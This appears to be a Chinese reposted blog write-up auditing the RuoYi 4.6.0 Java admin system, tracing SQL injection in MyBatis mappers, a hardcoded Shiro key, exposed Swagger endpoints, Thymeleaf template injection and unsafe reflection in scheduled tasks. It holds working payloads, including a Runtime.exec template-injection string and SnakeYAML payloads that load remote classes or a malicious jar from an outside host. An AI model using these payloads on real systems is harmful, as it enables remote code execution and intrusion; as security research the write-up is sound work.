JAVA代审-RuoYi4.6.0

B站影视 2025-01-03 11:10 2

摘要:一直想做一款后台管理系统,看了很多优秀的开源项目但是发现没有合适的。于是利用空闲休息时间开始自己写了一套后台系统。如此有了若依。她可以用于所有的Web应用程序,如网站管理后台,网站会员中心,CMS,CRM,OA。所有前端后台代码封装过后十分精简易上手,出错概率

一直想做一款后台管理系统,看了很多优秀的开源项目但是发现没有合适的。于是利用空闲休息时间开始自己写了一套后台系统。如此有了若依。她可以用于所有的Web应用程序,如网站管理后台,网站会员中心,CMS,CRM,OA。所有前端后台代码封装过后十分精简易上手,出错概率低。同时支持移动客户端访问。系统会陆续更新一些实用功能。

内置功能

用户管理:用户是系统操作者,该功能主要完成系统用户配置。部门管理:配置系统组织机构(公司、部门、小组),树结构展现支持数据权限。岗位管理:配置系统用户所属担任职务。菜单管理:配置系统菜单,操作权限,按钮权限标识等。角色管理:角色菜单权限分配、设置角色按机构进行数据范围权限划分。字典管理:对系统中经常使用的一些较为固定的数据进行维护。参数管理:对系统动态配置常用参数。通知公告:系统通知公告信息发布维护。操作日志:系统正常操作日志记录和查询;系统异常信息日志记录和查询。登录日志:系统登录日志记录查询包含登录异常。在线用户:当前系统中活跃用户状态监控。定时任务:在线(添加、修改、删除)任务调度包含执行结果日志。代码生成:前后端代码的生成(java、html、xml、sql)支持CRUD下载 。系统接口:根据业务代码自动生成相关的api接口文档。服务监控:监视当前系统CPU、内存、磁盘、堆栈等相关信息。缓存监控:对系统的缓存查询,删除、清空等操作。在线构建器:拖动表单元素生成相应的HTML代码。连接池监视:监视当前系统数据库连接池状态,可进行分析sql找出系统性能瓶颈。

项目地址:https://gitee.com/y_project/RuoYi/repository/archive/v4.6.0.zip

下载到本地后解压IDEA打开

修改数据库配置文件,并且创建对应数据库导入两个sql文件

文件路径:RuoYi-v4.6.0\sql\

导入完成后,启动项目访问配置文件中对应本地端口

默认账号密码:admin/admin123

漏洞挖掘

项目介绍和pom.xml都能知道数据库接口使用的是mybatis

全局搜索关键词${

这里有两种,这里一个是存在注入的一个不存在,这里把两个都分析一下

第一处(不存在)

对应文件:\RuoYi-v4.6.0\ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml

这里对应的是updateDeptStatus方法,参数是ancestors,我们记一下

跳转到dao层

查看使用到service

接着往上跟

这里有个getAncestors方法,其实就获取ancestors的,我们看下它是咋来的,是从newParentDept中获取的,newParentDept是通过selectDeptById方法获取的

那么这个方法其实就是根据我们传入的ID获取数据库表的对应数据,然后从里面获取Ancestors,查询的是sys_dept表,我们打开数据库看下

也就是值不可控,所以没办法

第二处(存在)

对应文件:

RuoYi-v4.6.0\ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml

{params.dataScope}这个写法我记得之前有写过一篇系统的注入也是这个写法,这种写法通常用于动态插入一些复杂的 SQL 片段,例如数据权限过滤条件。这种方式可以灵活地根据业务需求动态生成 SQL 语句

我们跳转到dao层往上跟到功能层

根据路由构造访问

/system/role/authUser/allocatedList

除了这一处还有几处也是同样写法,感兴趣的可以自己下去跟

Shiro硬编码

这个可是说是ruoyi的代表漏洞了

通过系统介绍或者pom.xml都可以得知ruoyi使用了shiro,这里的版本是1.7.0

按道理来说是没漏洞的,但是ruoyi采用的是硬编码,把加密的key值写在了配置文件中

全局搜索cipherKey

直接使用工具利用

项目中存在Swagger依赖

并且是开启状态

可以看配置文件或者直接扫目录也行,访问:http://127.0.0.1:8080/swagger-ui.html

发现开放了用户操作的接口

可以通过接口获取用户和密码

Thymeleaf模板注入

项目使用到了Thymeleaf模板引擎

版本是3.0.11,是存在漏洞的版本,全局搜索::,也就是片段表达式

随便点一个

这里可控的是fragment,通过post请求直接传

尝试构造访问,传入我们的poc

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime.exec("calc").getInputStream).next}__

不安全的反射

全局搜索forname(

优先看下面两个

这从注释中就可以得到功能点应该是和系统相关的

们下个断点,然后执行一次计划任务看下是否会触发方法

可以看到这里是断下来了,流程没问题,if是判断我们传入的类是否是一个有效类,这个正常传就行,那么我们就有开始想如何利用了

由于系统没有任意文件上传,不能尝试上传恶意类然后反射,那么只能从环境中现有的类入手。

由于这里执行的是Object bean = Class.forName(beanName).newInstance要满足下面几个条件

1、类必须要有无参构造函数 .2、类的构造函数不能是私有的 , 也就是不能通过 “private“ 修饰符来修饰构造函数3、调用目标字符串的参数为:支持字符串,布尔类型,长整型,浮点型,整型4、在满足上面三个条件后我们还得能够造成危害

就前面两个条件就把我们常规命令执行的路都堵上了,但是好巧不巧ruoyi中引入了snakeyaml

版本是1.25,那么这个版本是存在反序列化漏洞的,而且snakeyaml触发反序列化的写法是

org.yaml.snakeyaml.Yaml.load('序列化数据')

并且load方法是public

可以说是完美符合了

我们尝试传入利用poc

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager[!!java.net.URLClassLoader [[!!java.net.URL ["http://o58dcubl.requestrepo.com://"]]]]')

保存然后执行

也可以使用下面poc远程加载恶意jar包造成RCE

org.yaml.snakeyaml.yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/yaml-payload.jar"]]]]')

恶意jar包生成(自己写也可以使用下面项目也可以)

项目地址:https://github.com/artsploit/yaml-payload/

项目下载到本地解压idea打开,修改要执行的命令

然后打开md文件,有编译命令

这里执行的时候由于是命令行执行,要注意自己本地的javac版本,如果本地有多个java版本的话可能会出现javac版本是17,java是8的情况,到时候加载类的时候会报错

运行完成后会生成yaml-payload.jar文件,放到web服务上

然后执行我们设置好的计划任务

这个漏洞网上都说是snakeyaml反序列化漏洞,那么实际上这个是不安全反射的问题,snakeyaml反序列化只是利用方式。

来源:散文随风想一点号

相关推荐